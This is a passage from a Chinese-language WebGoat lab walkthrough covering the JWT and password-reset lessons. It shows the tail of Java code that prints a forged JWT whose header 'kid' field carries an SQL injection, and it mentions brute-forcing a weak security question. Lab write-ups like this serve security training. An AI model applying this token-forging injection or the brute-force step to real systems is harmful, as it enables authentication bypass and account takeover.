System.out.println(token);
}

public static void main(String[] args) {
JWTToken_S8.createJWTToken();
}
}

//output : eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleScgYW5kICcxJz0nMicgdW5pb24gc2VsZWN0IGlkIEZST00gand0X2tleXMgV0hFUkUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.q_V6nGy5kxtGEpTJWp4EET7QuK7L2C2G0R6txUP2Dag

按照下图发送包,题目完成。

img

Password reset

密码重置

Stage 2 question

这道题目好像有问题,webwolf里接收不到邮件。

Stage 4

由于设置的安全问题太简单,最简单的一个暴力破解就行了,具体看图。
img

同时官网给出了一个链接,http://goodsecurityquestions.com/ ,里面说明了如何设置一个好的安全问题。

Stage 5 question

在此题目中,WebGoat给出了一个密码重置链接的开发建议:

  1. 在创建密码重置链接时,您需要确保:
  2. 这是一个随机令牌的独特链接
  3. 它只能使用一次
  4. 该链接仅适用于一个小时
  5. 使用随机令牌发送链接意味着攻击者无法通过开始阻止用户而对您的网站启动简单的DOS攻击。 该链接不应再多使用一次,这使得无法再次更改密码。 超时是限制攻击窗口所必需的,通过链接为攻击者提供了很多可能性。

这道题目同样接受不到邮件,跳过。